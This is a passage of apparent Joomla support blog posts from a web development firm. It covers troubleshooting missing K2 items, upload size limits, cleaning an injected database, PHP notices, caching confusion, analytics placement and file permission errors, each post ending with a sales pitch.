SELECT i.*, CASE WHEN i.modified = 0 THEN i.created ELSE i.modified END as lastChanged, c.name AS categoryname,c.id AS categoryid, c.alias AS categoryalias, c.params AS categoryparams FROM #__k2_items as i LEFT JOIN #__k2_categories c ON c.id = i.catid WHERE i.published = 1 AND i.access IN(1,1) AND i.trash = 0 AND c.published = 1 AND c.access IN(1,1) AND c.trash = 0 AND ( i.publish_up = '0000-00-00 00:00:00' OR i.publish_up <= '2013-02-21 17:38:03' ) AND ( i.publish_down = '0000-00-00 00:00:00' OR i.publish_down >= '2013-02-21 17:38:03' ) AND i.catid IN (1,2,3,4,5) ORDER BY i.created DESC

We ran the exact query on phpMyAdmin to see if there’s anything wrong, and while there was nothing wrong with it, it didn’t return any rows. So, we looked deeper into the issue and we started dissecting the above query by removing conditions, until we discovered the two conditions that were causing the problem. Both are highlighted in red below:

SELECT i.*, CASE WHEN i.modified = 0 THEN i.created ELSE i.modified END as lastChanged, c.name AS categoryname,c.id AS categoryid, c.alias AS categoryalias, c.params AS categoryparams FROM #__k2_items as i LEFT JOIN #__k2_categories c ON c.id = i.catid WHERE i.published = 1 AND i.access IN(1,1) AND i.trash = 0 AND c.published = 1 AND c.access IN(1,1) AND c.trash = 0 AND ( i.publish_up = '0000-00-00 00:00:00' OR i.publish_up <= '2013-02-21 17:38:03' ) AND ( i.publish_down = '0000-00-00 00:00:00' OR i.publish_down >= '2013-02-21 17:38:03' ) AND i.catid IN (1,2,3,4,5) ORDER BY i.created DESC

Aha! It was the access field which seems to be irrelevant in K2’s implementation in Joomla 1.5, but critical in that of Joomla 2.5. We looked at both the #__k2_categories and the #__k2_items tables, and sure enough, the access column was set to 0 across the board in both these tables.

So, what did we do to fix the problem?

Solving the problem was quite easy, all we needed to do was to issue the two following SQL queries in phpMyAdmin (of course, after changing #__ with the table prefix):

UPDATE `#__k2_categories` SET `access` =1;
UPDATE `#__k2_items` SET `access` =1;

That’s it! After we did that, all the K2 modules were properly populated. Problem solved!

If you’re having problems with K2 items not showing up in your modules, then try the above method, and if it works, then we’re glad we were able to help. If it doesn’t, then just contact us and we’ll fix it for you in no time and at a very affordable cost. We’re experts in Joomla, we’re professional, and we’re really nice to work with!

How to Increase the Maximum Allowed Size of Uploaded Files in Joomla’s Media Manager

By default, the media manager in Joomla 2.5 allows a maximum upload size of 10 MB, which is ridiculous, since a high resolution picture can be bigger than 10 MB, and the smallest video with the smallest resolution (by today’s standards) can be at least 3 times that size. So, there must be a way to increase that maximum!

So, how can one increase the maximum upload size in Joomla’s media manager?

Well, it’s very easy. In order to do that, all you need to do is to follow these steps:

  • Login to the backend of your Joomla website.
  • Click on Content->Media Manager in the upper menu.

  • Click on Options on the top right.

  • Change the value next to Maximum Size (in MB) to something other than 10 (let’ say 100, for example). Just enter a number, do not enter something like “100 MB” or “1 GB”. Just enter 100 or 1000 (all the values are assumed to be in Megabytes or MB).

  • Click on Save & Close on the top right.

  • That’s it!

Now, after modifying the maximum upload size, try uploading a large file (say one that is 50 MB), and see if it works. If it works, then congratulations! If it doesn’t work, then read on…

So, why is it that the new maximum upload size is not taken into consideration and what can be done about it?

Well, theoretically, you can set the value of the maximum upload size to anything, but realistically, everything in life has bounds, including that maximum upload size! As a rule of thumb, the maximum upload size cannot be greater than the upload_max_filesize and the post_max_size, both of which are values defined in php.ini (the PHP’s settings file). So, if you’re still not able to upload a large file even if its size is less than the value that you defined in the Media Manager, then most likely the size of that file is larger than upload_max_filesize or post_max_size. As a rule of them, the actual maximum upload size in Joomla is always the lesser of these 3 values:

  1. Joomla’s maximum upload size as set in the Media Manager’s settings
  2. The upload_max_filesize as defined in php.ini

  3. The post_max_size as defined in php.ini

So, what if you really need to upload that large file through Joomla, can anything be done about it? Fortunately, in most cases, yes. All you need to do is to create a file called php.ini and place it under the root directory of your Joomla website. That file should contain the following lines:

upload_max_filesize = 100M
post_max_size = 100M

The presence of this file will override the settings in the global php.ini and will ensure that the maximum upload size available to your Joomla website is 100 MB (of course, you can change the number to something other than 100 MB if you want).

Keep in mind that some shared hosting environments might ignore that php.ini that you have created. In this situation, your only option is to contact your host and tell them that you need to upload larger files through your PHP application.

Is there a way to know the maximum upload size defined in the global php.ini?

Yes there is. All you need to do is to create a file called phpinfo.php which consists of the following line:

phpinfo();

Upload the file to the root directory of your Joomla website and load the corresponding page into your browser (e.g go to http://www.yourjoomlawebsite.com/phpinfo.php). The displayed page will show all your PHP settings; just search for upload_max_filesize and post_max_size and you will see their values right next to them.

Now we reach the conclusion of this post. We hope you enjoyed it and we hope that you found it useful. If you didn’t (perhaps because it’s a bit technical) or if you just need more help, then that’s why we’re here! Just contact us and you’ll see how fast, reliable, and affordable we are. We’re also the friendliest programmers on planet earth! (that’s what our clients say about us!)

Database Hacks on Joomla – The Worst Kind of Hacks

A new client called us today and told us that his website was hacked, and asked us to fix it. The moment we hung up the phone with him, we started working on it immediately (we treat such tasks as urgent).

We did our regular check on its filesystem, and we didn’t discover anything! (even after following our super-duper easy-peasy method to quickly discover the infected files on a Joomla website). We then pondered for a moment; could this be a database hack? We haven’t seen one for a long time!

So, we checked the database, and we were right, the filesystem was not infected, but the database was! It was a dreadful moment… Dreadful not because it’s hard to fix, but dreadful because we know that ensuring that the website remains clean (after it’s fixed) can be costly for the client (he was running a very old Joomla website with some very outdated and low profile extensions).

So, what is a database hack? And how is it different from a filesystem hack?

A database hack is when the malicious code is inserted directly into the database, rather than in one or more core files. Generally, the database hack consists of inserting the malicious code in one or more rows of the following two tables (replace #__ with your table prefix):

  1. #__content
  2. #__modules

The malicious code inserted in the database usually has the same outcome as if it was inserted to a core Joomla file: It can redirect to malicious websites, it can infect clients (by clients we mean PCs loading the website) with a virus, or it can show content that is completely irrelevant to the website (the different content may be shown to Google’s bot, to the visitors, or both).

What is the cause of a database hack?

The cause of a database hack is generally a SQL injection exploit (hence we say that the rows are injected with malicious code). Now we know what your second question is: “Isn’t SQL injection a thing from the past in Joomla?” Well, the answer is that it’s not, thanks to some exploitable Joomla versions (including many releases of Joomla 1.5) and to some poorly written extensions (exploits of such extensions are well documented on Joomla’s official website).

How to fix a database hack on a Joomla website?

The answer to this question is simple: “Find and replace”. “But how?”, you might be wondering. Well, all you need to do is the following:

  1. Login to your Joomla database using phpMyAdmin.
  2. Click on a affected table (e.g. a table that has some malicious code injected in one or more of its rows).

  3. Issue the following command (in our example below, we are assuming that the infected table is #__content and the infected column is the introtext column – make sure you replace #__ with your table prefix):

    UPDATE #__content SET `introtext` = REPLACE(`introtext`, '[malicious code]', '');

  4. Repeat Steps #2 and #3 for all the infected tables and all the infected columns.

Note: Finding which tables/columns are infected consists of doing a global search at the database level in phpMyAdmin.

How to ensure that the database hack will not happen again?

In order to ensure that your Joomla database won’t be hacked again you need to do the following:

  • Upgrade your Joomla website to the latest version.
  • Hire some Joomla experts to analyze the 3rd party extensions that you have on your website to ensure that they’re all clean.

Why is the database hack the worst kind of hacks?

Good question! It’s because, as mentioned earlier, it can be very costly. While hacks on the filesystem can be completely blocked by enforcing strict permissions (e.g. changing ownership to root, changing file permissions across the board to 444, etc…), database hacks can only be prevented by ensuring that all the extensions, as well as Joomla itself, are up-to-date and are not exploitable. This can take a lot of time and can cost a lot of money – especially if the website in question is very large in size.

Now, if your Joomla website is hacked – regardless of the type of hack – then fear not! Relax, take a deep breath, and call us! We always answer the phone, we know Joomla from inside out, and our rates are very affordable for what we do! As many of our clients describe us, we are life savers!

“Notice: Undefined property: [extension_name]::$_state” Error in Joomla

When working on a major project on a Joomla website, we usually maximize the Joomla error reporting. This guarantees that not a single error, not even a notice, can go undetected and unfixed in our final work.

One of the common notices that we see on major projects is the following:

Notice: Undefined property: [extension_name]::$_state in /libraries/joomla/session/session.php on line 323

So, probably the first question that you have is the following: “What happens in line 323?”

Well, here’s the code in line 323 in the session.php file located under the /libraries/joomla/session/.

if ($this->_state === 'destroyed')

If you’re a PHP programmer, you probably know what the problem is. The attribute _state on the JSession object is not set, and that’s why PHP is complaining. It is not really an error, but PHP thinks that the value of _state might be needed at one point or the other in your code.

But why the _state attribute was not set?

Good question! Take a look at this code:

$sessionId = JSession::getId();

If you have used the JSession class before, you will know that the getId() method (quick note: a method is a function that belongs to a class) is not really static, which means that even though the above code works, it’s wrong…

You see, you must instantiate an object of type JSession, and then call the method getId(). So, you must replace the above code with this one:

$objSession = new JSession();
$sessionId = $objSession->getId();

The above code ensures that all attributes, including the _state attribute that PHP is complaining about, are properly set in the constructor of the JSession class.

But, what if you don’t want to instantiate an object?

The above solution that we have proposed is the right one. But, in some cases, you may not want to instantiate an object (we can’t think of any at the moment, but we’ve done this to address weird bugs). In this case, there are two methods to solve the problem:

  1. At the extension’s level

    All you need to do is to open the main .php file of the extension that PHP is complaining about, and change your code from:

    $sessionId = JSession::getId();

    to

    $sessionId = @JSession::getId();

    (Notice the @ symbol just in front of JSession.)

  2. At the core level

    Just change the line 323 in the session.php file which is located under the /libraries/joomla/session/ directory from:

    if ($this->_state === 'destroyed')

    to

    if (@$this->_state === 'destroyed')

    (Again, notice the @ sign at the beginning of the if statement).

If you have many of those errors on your website, then the second method might be more practical, but you must consider the fact that you are changing a core Joomla file, that might be overriden with a new update.

Isn’t there an easier way to fix the problem for those who are not programmers?

Yes there is. All you need to do is to login to your Joomla’s backend, and then go to Site -> Global Configuration -> Server, and then choose None next to Error Reporting and finally click on Save at the top right. This is quite easy, isn’t it? But, on the flip side, you haven’t really fixed the error, you have just hidden it, and if you are in a development environment, then you won’t see that subtle error that may or may not be causing a cascade of issues on your website. (Note that in a production environment, the value of Error Reporting should always be None. Otherwise, your Joomla website can reveal some valuable information that can be used to launch malicious attacks against it!)

So, what is the best method to fix this problem?

The best method to fix this problem is to ensure that the method getId() is never invoked statically. Generally, static calls to non-static methods may result in stability issues and may haunt you back when you least expect it!

Now, we’re talking to you directly our valuable reader and potential client! If you are seeing errors (such as the above error or any other error) on your Joomla website and you need them fixed the right way and right away (is that a rhyme?), then look no further. Just contact us at itoctopus and you can rest assured that we’ll fix these errors in no time and with no side effects on your website! By the way, our fees are very affordable, and we’re very friendly, so you really have no excuse for not calling!

onPrepareContent and onContentPrepare in Joomla

It was around 3 AM in the morning – we were working hard on a project to meet a deadline that was set for next week, but we were stuck. The project consisted of a migration of a Joomla website from version 1.5 to version 2.5 – something that we have done hundreds of times before! But, again, we were stuck. What’s even more embarrassing is that we were stuck on the migration of a very simple content plugin. We have migrated the plugin, ensured that all the code is correct, but the plugin just won’t execute. Mind you, the plugin was activated (or published, depending on the terminology you like to use, we prefer using activated for plugins and published for content items such as articles) and the plugin was loading properly (we added an echo statement in the function plgContent[OurPlugin] and it was displaying). We knew that the solution couldn’t be easier, but we just didn’t know what was the problem!

We finally decided to re-write the plugin from scratch – yes, it was inefficient, but it was a very simple plugin and re-writing it from scratch was an easy task. Around 5 AM, we finished re-writing the plugin (again, it was very simple and the logic was all defined for us in the original plugin!) for Joomla 2.5 – we tested it and it was working! As you have probably guessed, seeing the plugin working didn’t satiate our curiosity! We needed to know why the plugin wasn’t working before!

So we compared the two plugins together and we noticed something: The first plugin had the onPrepareContent function and the second plugin had the onContentPrepare function. Needless to say, the immediate reaction to this was the usual forehead slap! Of course, Joomla 1.5 uses the onPrepareContent while Joomla 2.5 uses the onContentPrepare! The engine just ignores the plugin if this function is named incorrectly.

But why did the core team at Joomla rename this function?

Nobody knows for sure! Perhaps consistency – but we seriously doubt it. Our best guess is that it was named this way to allow for developers to create plugins that will support Joomla 1.5 and Joomla 2.5 at the same time – this makes sense because the parameters of the two functions are different (there is an additional parameter called $context in the function onContentPrepare).

But aren’t we too much experienced to make that mistake?

We are – hence the forehead slap! The fact that it was 3 AM in the morning was also probably a contributing factor to this mistake! Everyone makes mistakes – and we don’t claim to be perfect! But you can always rest assured that we will find a solution to the problem, and the solution will always be elegant!

So, if you’re migrating some very old and/or discontinued extensions and you’re facing similar problems – then fear not, you are not alone! And if you ever need help, then you can always contact us! Our fees are very affordable, our reputation is immaculate, and we really really care about our clients!

“The Global Configuration extension could not be found. Text filter settings have not been saved.” Error in Joomla

OK – we know that the title of this post is long – in fact, it is way too long, but we couldn’t find a better title for this very specific issue, so we decided that the title should be the same as the error message.

While working on a Joomla website for one our clients, we wanted to maximize error reporting and so we logged in to the backend and we went to the “Global Configuration” page and we then changed the “Error Reporting” to “Maximum” in order to display all the errors. When we clicked on the “Save” button on the top right, we were greeted with the following error:

Could not save data. Error: The Global Configuration extension could not be found. Text filter settings have not been saved.

Now this is not the first time where we’re unable to save the global configuration, but this time it was different. It had nothing to do with file permissions, as the configuration.php file was fully writable – and, in fact, the changes were being written to that file.

The cause of this problem, to make a long story short, was at the database level. The database server’s hard disk partition was full, and, as such, the database server was restricting some activities.

So, what did we do to solve the problem?

Obviously, we freed up some space on the database server (such as deleting unnecessary databases), and that solved the problem!

And, what can we do to ensure that this problem won’t happen again?

Unfortunately – nothing. The best that we can do is to monitor the free disk space on the partition hosting the database server and ensuring that it’s never close to being full. When you run out of space, you just run out of space!

Could there be other reasons for this problem?

Yes – when we researched the issue we discovered that the corruption of some tables can also cause the same problem. When this happens, a simple REPAIR TABLE command issued on the affected table(s) will usually fix the issue. (Quick advice: Be wary that the REPAIR TABLE command is very costly and can take a long time to execute on large tables. Make sure you try repairing the table first with the QUICK option and see if that fixes the problem.)

Now, if you’re unable to save the Joomla configuration even after reading the above then it’s probably time to ask for help. Just contact us and rest assured that we can solve your problem in no time. We’re fast, we’re reliable, our fees are affordable, and we’re really, really friendly!

Unable to Empty Trash in Joomla

We occasionally get contacted by customers who complain about the trashing process in Joomla; they say that they just cannot empty the trash. When we get one of these calls, we tell the customer: “Are you sure you are really emptying the trash?”

The reason why we say that is that in 99% of the cases – the person is trying to empty the trash from the wrong place (where it cannot be emptied). Here’s what happens:

  1. The person deletes a few items (such as articles, menu items, or modules).
  2. The person then changes the status (for the listing) to All (the default view – Select Status – displays published and unpublished items only, All will display published, unpublished, archived, and trashed items).

  3. The person then selects the items to be completely deleted, and then clicks on Trash on the top right menu.

  4. The items are not deleted.

The reason why this isn’t working is because the person is trashing the items again, he’s not deleting them. He’s just moving them to the trash again. It’s like picking a paper from the recycle bin, and then throwing it back…

So, what should he have done to empty the trash?

The mistake occurred in step #2 in the process above – instead of choosing All, he should have chosen Trashed; it is only when choosing Trashed where he will see the Empty Trash icon on the top right menu (instead of the Trash icon). To delete the items, the person must select the items to be completely removed, and then click on the Empty Trash button.

Note: We have noticed that some of our customers who are very new to Joomla do not select the items to be deleted before clicking on the Empty Trash button. It seems to be a common pitfall and perhaps Joomla should revise the trashing process as the term Empty Trash doesn’t imply that the person has to select anything – it just means that it’ll remove whatever is in the trash!

If you’re experiencing problems with completing removing items from your Joomla website, and if the above doesn’t work for you, then all you need to do is to contact us. We’re always there, we’re eager to help, we’re very experienced with Joomla, and we’re very affordable! What are you waiting for?

Why APC Caching in Joomla Can Cause Confusion

The project manager of a very large company that we do work for with called us this evening and told us that they are trying to update one of the modules, and while the change to that module seemed to take effect in the backend, that change wasn’t reflected in the frontend. This issue immediately reminded us of the post that we have published some time ago: my Joomla changes are not showing. But, the moment we were about to ask her if they had cleared the cache, she continued: “…and we cleared all the cache!”. This meant that we had to look elsewhere…

So, we logged in to their Joomla website, and we tried updating the module (it was a simple custom HTML module), and, sure enough, our changes were not reflected. We cleared the cache several times – but still, it didn’t work. That was odd!

We then thought – could it be that we’re working on the wrong backend? So, we made a small change on one of the articles, and that change was reflected immediately. Which meant that we were working on the right website!

We then started suspecting the module – were we changing the right module? So we disabled it, and to our surprise, the module still showed on the frontend. We then tried to find a module that had the same location in the template, but we couldn’t find any. So, the conclusion so far that we were working on the right website and the right module, but any change to the module, including the completely disabling it, was not showing up on the website.

And so we thought about caching again, but this time we looked at the global caching in the global configuration. It was set to Progressive Caching (we’ve warned against using progressive caching before), and the cache handler was set to Alternative PHP Cache (APC, and no, it’s not the famous UPS company!). The cache time was set to 15 minutes. After looking at these settings, we understood exactly what was going on…

You see, APC is a caching mechanism that runs on a lower level than Joomla – meaning that clearing Joomla’s cache will not really clear the cache, since that cache is technically handled by APC. Just to prove our point, we did a change to the module and waited 15 minutes, and when the 15 minutes elapsed, that change took effect on the frontend!

OK, so you’ve probably guessed by now what we did to solve the problem. We 1) changed caching from progressive to conservative, 2) change the cache handler to File, and 3) told the customer that whenever they needed to make a change to that module they must clear the page cache.

So, what is the wisdom that was gained from tonight’s work? In our opinion, it’s that APC causes confusion, because content managers expect (and rightly so) for their changes to immediately appear on the website when they make them (or at least after deleting the cache). So while APC is faster than regular Joomla cache, it’s not that good of an option especially if module updates are frequent.

Now, if you’re reading this because you’re having caching issues on your website, and if you still don’t know how to solve them, then why not just contact us. We’re always available, our work is swift and efficient, and our rates are very reasonable!

Note: For those of you wondering how come we didn’t set the Caching field for that particular module to No caching, we did do that, but for some reason, the module was still cached (whether we were using APC or File as cache handlers)! Could that be a bug in Joomla 2.5?

Where to Put the Google Analytics Code on Your Joomla Website

Most of our clients want to track the performance of their Joomla website – and what better way to track that performance than with Google Analytics? Google Analytics provides the website owner with a wealth of information about his website: how many visitors the websites gets per day, where these visitors are coming from, and what kind of devices these visitors are using. Google Analytics is also ideal for tracking conversions in conjunction with Google Adwords.

Google Analytics is a very easy tool for what it does, installing it, on the other hand, can be a bit tricky for those who are new to Joomla. Some try to add it in a custom HTML module which is placed in the footer of the website and assigned globally. They’re shocked to see that when they save the module, the code disappears! And they start wondering, “why did this happen?”

The reason why the code disappears is that the custom HTML module in Joomla does not accept JavaScript as input. It filters JavaScript out for security reasons. So, where does someone add Google Analytics code to his website?

There are three places where the Google Analytics code can be added:

  1. In a 3rd party module

    There are many modules in the JED (Joomla Extension Directory) that can be installed in order to add the Google Analytics code on a Joomla website. All one needs to do is to download one of these modules, install it on his Joomla website, set its parameters to reflect his Google Analytics account number, enable it on the website, and he’s good to go!

    This is probably the easiest and the most common way to add Google Analytics code, but you’ll be installing an extension (usually developed by a little known programmer) that may or may not be hacker proof! Additionally, the placement of the Analytics code may not be where you want it to be.

  2. In the template

    Adding the Google Analytics code to the website’s template is very easy: all you need to do is to go to the template manager, open the index.php file of the template that you’re using, and add the code there (near the end of the page). That’s it!

    The flip side of this is that if you change your template, you will have to copy back the code. Additionally, you (or your developer) might forget a template or two to add the code to if you have several active templates on your Joomla website.

  3. In a in-house developed system plugin

    This is our favorite way for adding Google Analytics code. It consists of developing a configurable system plugin that will automatically add the Google Analytics code to every page on the frontend of the Joomla website (in a specific place in your HTML code, just before the <body> tag). What makes it better than the previous two methods is that it’s quite easy to develop, and that it works in all conditions as long as it’s enabled. Additionally, you will be using a trusted code, which is your code, or the code of someone trustworthy! (maybe us, at itoctopus, perhaps?)

Now, if after reading our guide, you are still having problems installing the Google Analytics code on your Joomla website, then feel free to contact us. Our rates are inexpensive, our work is professional, and we are confident that we can help you!

“Warning: Unknown: failed to open stream: Permission denied in Unknown on line 0” Error in Joomla

We’re currently having an increasing number of clients emailing us that they’re seeing the following error (repeated twice) on their homepage:

Warning: Unknown: failed to open stream: Permission denied in Unknown on line 0

The homepage doesn’t display anything else, just this message (again, the message is usually displayed twice).

So, what is the cause of this problem?

As the error message implies, the main cause of this problem is wrong permissions – usually affecting the index.php file (which is usually the first file loaded by the web server, unless there is an index.html file). The permissions on this file are wrongfully set to 000 (which means that no one can read, write, or execute that file). Normally, the index.php‘s permissions should be set to 444.

Now, the 000 permissions make the issue a bit more confusing, since some file managers and FTP managers do not list files with what we call zero permission (which will inaccurately imply that the file has been deleted – while it’s not).

So how can this problem be fixed?

In order to solve the problem, you will need to first go to your file manager. If you have a cPanel powered hosting, then all you need to do is to login to your cPanel and then click on File Manager. Once you’re in the file manager, there are two ways to solve the problem, depending on whether you see the index.php file or not.

  1. If you see the index.php file

    All you need to do is to right click on the index.php and set its permissions to 444. This should fix the problem in most cases.

  2. If you don’t see the index.php file

    If you don’t see the file, then you will need to create another file (call it chmod.php and place it under the root directory of your website) which will contain the following code:

    <?php
    chmod("index.php", 0444);
    ?>

    Once the chmod.php file is created, you will need to run it by pointing your browser to http://www.yourjoomlawebsite.com/chmod.php. The problem is usually fixed when you load that page.

What if the problem is still not fixed, even after doing the above?

If, even after you change the permissions of the file, the problem still exists, then it might be possible that your user (or Apache) doesn’t have the right permissions to make those permissions changes (we know, we’re using the word permission abundantly in this post!). In this case, you should delete the file and then re-create it from a guaranteed-to-be-working backup. In order to do that, you will need first to grab, from Joomla’s official website, a clean copy of the exact Joomla version that you’re using.

Now, if you’re able to see the index.php, then all you need to do is to delete it and then re-upload it from the clean copy of Joomla that you’ve just installed. If you’re not able to see the index.php file, then you’ll first need to write a small PHP script to unlink (delete) the file from the website before uploading the clean index.php that you have.

Which versions of Joomla have this problem?

We have noticed that not all versions of Joomla have this problem. In fact, the versions affected are Joomla 1.5 builds that are less or equal to 15 (e.g. Joomla 1.5.0 until Joomla 1.5.15).

But what is the root cause of the problem?

There are two things that might cause this issue:

  1. A malicious attack on the website exploiting the many vulnerabilities of old Joomla 1.5 builds.
  2. Some poorly written (and legacy) extensions that behave erratically under some conditions.

What is the long term solution to the problem?

There are two long term solutions to the problem:

  1. Upgrading the Joomla website to the latest version, which ensures that the website is kept up-to-date with the latest patches.
  2. Locking write activities on the Joomla website by switching to DSO. This is a good option in case you cannot afford an expensive migration.

We hope that you found this guide useful. Now, if you’re having the same problem and you’re not able to fix it by following our guide, then feel free to contact us. We’re always read to help, our rates are affordable, and we are the friendliest developers on this planet (seriously, try us!).

What Is the Worst Joomla Version?

Some time ago, we have written a post on the best Joomla version – we said that is was Joomla 2.5 (in case you don’t have time to read the post). Since then, we had some of our customers ask us, “what is the worst Joomla version?”

Before answering, you probably might think we are going to say that it’s Joomla 1.5 – but it’s not. In fact, in our opinion, Joomla 1.5 is the second best Joomla version, and the proof is that it’s still used by literally millions of websites out there, and those with Joomla 1.5 are very hesitant to migrate to Joomla 2.5, despite the fact that Joomla 1.5.26 has been deemed insecure as of May of 2012.

So, what is the worst Joomla version?

Without any further delay, we think it’s Joomla 1.6. Here’s why:

  • Joomla 1.6 is buggy

    All the work that we get on Joomla 1.6 is usually related to a bug in its core. What we do is we usually modify the core (something that we don’t like to do) to fix the issue. The issues that we’ve seen on Joomla 1.6 are numerous, but the most recurring issue that we’ve seen is described in the next point below…

  • Joomla’s 1.6 ACL is completely unstable

    One of the most prominent differences between Joomla 1.6 and Joomla 1.5 is the ACL (Access Control List). Joomla 1.5 didn’t have an ACL per-se, it just had an ACL look-alike. Joomla’s 1.6 ACL is a real ACL but unfortunately, it is very badly written, which results in instability issues affecting the whole website. The most common issue when it comes to the ACL is when people are getting more/less permissions than explicitly assigned.

    On the same note, one of our top clients (an extremely well known Fortune 500 company) is currently suffering from an ACL issue on one of its microsites (it’s a Joomla 1.6 microsite used by its staff). We’re working with them to resolve the issue.

  • Joomla 1.6 cannot be easily upgraded to Joomla 2.5

    Forget about official statements telling end users that Joomla 1.6 can be easily upgraded to Joomla 2.5. According to our experience, it cannot! In fact, on several occasions, we had to treat an update from Joomla 1.6 to Joomla 2.5 as a migration! (read about the difference between an update, an upgrade, and a migration here.)

  • The lifetime of Joomla 1.6 was only 7 months

    Joomla 1.6 was released on January of 2011. Its support was ceased on August of 2011, that gives this CMS a lifetime of only 7 months. Compare that to the lifetime of Joomla 1.5 which was about 5 years, and to that of Joomla 1.0 which was slightly less than 4 years. Clearly, product management at Joomla did not trust and did not like this version to give it this extremely short lifespan!

  • Joomla 1.6 was not widely adopted by end users

    Out of every 100 tasks/projects that we get, we have only 3 or 4 of them on websites that run Joomla 1.6 – a clear evidence that Joomla 1.6 was not widely adopted by Joomla’s large community.

  • Joomla 1.6 was not widely adopted by 3rd companies

    Yes – we know that most extensions out there state that they support Joomla 1.6. But this support is by accident, it’s because Joomla’s 1.6 infrastructure is very similar to that of Joomla 2.5. So, when these 3rd party companies develop an extension for Joomla 2.5, this extension usually automatically works on Joomla 1.6. This doesn’t mean, however, that this extension is stable on that platform because the platform, in and for itself, is not stable (as described earlier).

But what about Joomla 1.7, isn’t it even worse than Joomla 1.6?

Well, in fact, Joomla 1.7 is actually slightly better than Joomla 1.6. It still has some ACL issues and it’s still a bit buggy (and it had the same lifetime), but it’s generally better than Joomla 1.6. This makes Joomla 1.7 the second worst Joomla version!

Now, if you’re stuck with Joomla 1.6 (or Joomla 1.7, for that matter) and you have problems with your website, then you can always contact us! We’re fast, we’re efficient, we know our Joomla, and our fees are competitive.

Note: We still perceive Joomla 3.0 as a beta product and that’s why it wasn’t mentioned in this post. Had this not been the case (e.g. if we did perceive it as a production product), then most likely Joomla 3.0 would have won the worst Joomla version medal, as its stability issues are much more severe than those of Joomla 1.6.

Global Check-in Does Not Work in Joomla 2.5

Note: This post is targeted at absolute beginners in Joomla as we have noticed that the “global check-in not working” issue is extremely common for those who are very new to Joomla.

We get regular calls from some of our customers who are very new to Joomla complaining that they cannot perform a global check-in on their website. We immediately recognize the issue and so we tell them: “Are you sure you selected all the database tables and clicked on Check-in on the top right?”. The answer that we get from them is usually: “Where can I do that?”

You see, the global check-in functionality in Joomla 2.5 is confusing, because those new to Joomla think that the global check-in is done simply by clicking on the Site -> Maintenance -> Global Check-in link on the top menu. The thing is, performing a global check-in consists of the following steps:

  1. Clicking on Global Check-in under Site -> Maintenance on the top menu.
  2. Clicking on the checkbox next to Database Table (on the page that appears when you click on the above link) to select (or check) all the tables in your database.

  3. Clicking on Check In on the top right.

  4. That’s it!

So, why do those new to Joomla omit the steps after Step 1?

We believe it’s because of the orange check-mark that appears on the page once they click on the Global Check-in link in the first step. Take a look at this:

Global check-in

Figure 1: Global check-in

Doesn’t the above picture imply that the check-in has already been done because of the orange tick? We believe so, and we believe that our clients are right in getting confused when the process doesn’t work for them by just clicking on the link in the first step. Which takes us to our next question…

Why is the global check-in a multi-step process?

Is it really necessary to give users the flexibility to choose which tables they want to apply the global check-in to? We know for a fact that in 99% of the cases, when someone does a global check-in, he wants to do a global check-in globally (e.g. on all the tables). We think that Joomla’s product managers should revise the current process for check-in and make it a single-step process.

If you are trying to do a global check-in and it’s not working for you by following the above steps, then there’s also another way to do it by setting the checked_out field to 0 in the affected tables (e.g. the tables containing the items you’re not able to check-in) using phpMyAdmin. If you need help doing this then all you need to do is to contact us. We will do it for you in no time and we’ll only charge you for an hour!

Is There a Way to Become a Joomla Certified Developer?

Some of our more technical clients tell us that they want to become certified in Joomla. They ask us if such a certification exists – and if it does – how can one become certified.

Our answer is always as follows: There is no official certification in Joomla. There are some commercial companies offering certifications in Joomla, but these certifications are not official, and, as such, do not carry real weight in the professional world. In short, there is no way to officially become a Joomla Certified Developer.

But, how come there is no official certification for Joomla even though it’s been there for several years now and is being used by millions of websites?

The answer to this question is simple: Joomla, in its core, is quite an easy product. Here’s what one needs to know about Joomla to know almost everything about Joomla:

  • What are components, modules, and plugins
  • How to create articles/categories

  • How to create menus and menu items

  • How to create a module and assign that module to a menu item

  • How to install extensions

  • How to change the template

  • How edit a template

  • How to work with plugins

  • How to work with ACL

Believe it or not – the above is all what Joomla is about in a basic installation. One doesn’t need to get certified to know how to work with Joomla – he can learn everything about it in one afternoon.

But is Joomla really that simple? If it is, then how come there are 3rd party companies such as itoctopus supporting Joomla?

Well, Joomla’s complexity is proportional to the number and the complexity of the 3rd party extensions installed. The more you have of those installed on your website, the harder it becomes to work on it (and the harder it becomes to debug it). Some examples of Joomla’s extremely advanced extensions are: sh404, JomSocial, JFusion (yes – JFusion can be quite complicated – check this post on eFront’s integration with Joomla), etc…

But since Joomla can be quite complex, shouldn’t that be reason enough for it to have a certification?

As stated earlier, Joomla, in and for itself, is quite easy. It only becomes complex when you have 3rd party extensions installed, and it’s unrealistic to expect Joomla, as an organization, to issue a certification that will take complex 3rd party extensions into consideration.

Are there plans for an official Joomla certification at any point in the future?

Currently, there aren’t, and we don’t expect to see such a certification in the near future, simply because the aim of the Joomla team is to maintain a product that is easy to use by anyone, but that can be customized, with unofficial extensions, to do anything!

But what about Joomla experts – how did they become experts?

These people became Joomla experts because 2 things:

  • Their fluency in PHP
  • Their long time exposure to Joomla

At itoctopus, we are proud to say that we have reached the expertise level in Joomla a long time ago. So, if you need anything on your Joomla website, then be confident that we, at itoctopus, can do it for you! All you need is to do is to contact us and you can rest assured that neither we nor our fees will disappoint you!

Can Joomla Be Used to Build a Social Networking Website?

We are getting an increasing number of requests from clients asking us to build a social networking website (à la Facebook – but on a smaller scale), with Joomla. Here’s how the first conversation between us and these clients goes:

“Hello, my name is John Smith, and I was thinking you might be able to help me.”

“Hi John – how we may help you?”

“I would like to build a social networking website with Joomla since I’m comfortable with this CMS – do you think it’s possible?”

“It’s certainly possible John!”

And then the conversation continues and we discuss the nature of the website (what will the website be about), the target audience, the cost to develop the website, and the time it takes to develop it…

So, how do we build a social networking website from scratch for our clients?

Well, the process consists of the below steps:

Step 1 – Find the right environment for the website

A social networking website powered by Joomla must have the right (hosting) environment. In other words, it must have access to a lot of physical resources on the server hosting it (social websites tend to grow exponentially when they succeed), it must be able to connect to MySQL, it must be powered by the right web server, and it must enjoy a lot of bandwidth. (We have discussed Joomla’s ideal environment before – see here.)

Step 2 – Install Joomla

Once we know where the Joomla website will be hosted, we start the installation process. Our super-fast Joomla installation process consists of the following steps:

  • Downloading the latest version of Joomla (we currently use Joomla 2.5 and we’re avoiding Joomla 3.0 because of stability issues)
  • Uploading the zip file containing Joomla (that we just downloaded) to the hosting server using cPanel’s File Manager

  • Extracting the zip file (using the Extract tool in cPanel’s File Manager) that was just uploaded a directory called testwebsite right under the location where the Joomla website will eventually reside

  • Creating the database using the MySQL Databases tool in cPanel

  • Creating a database user and give that user access to the database created in the previous step

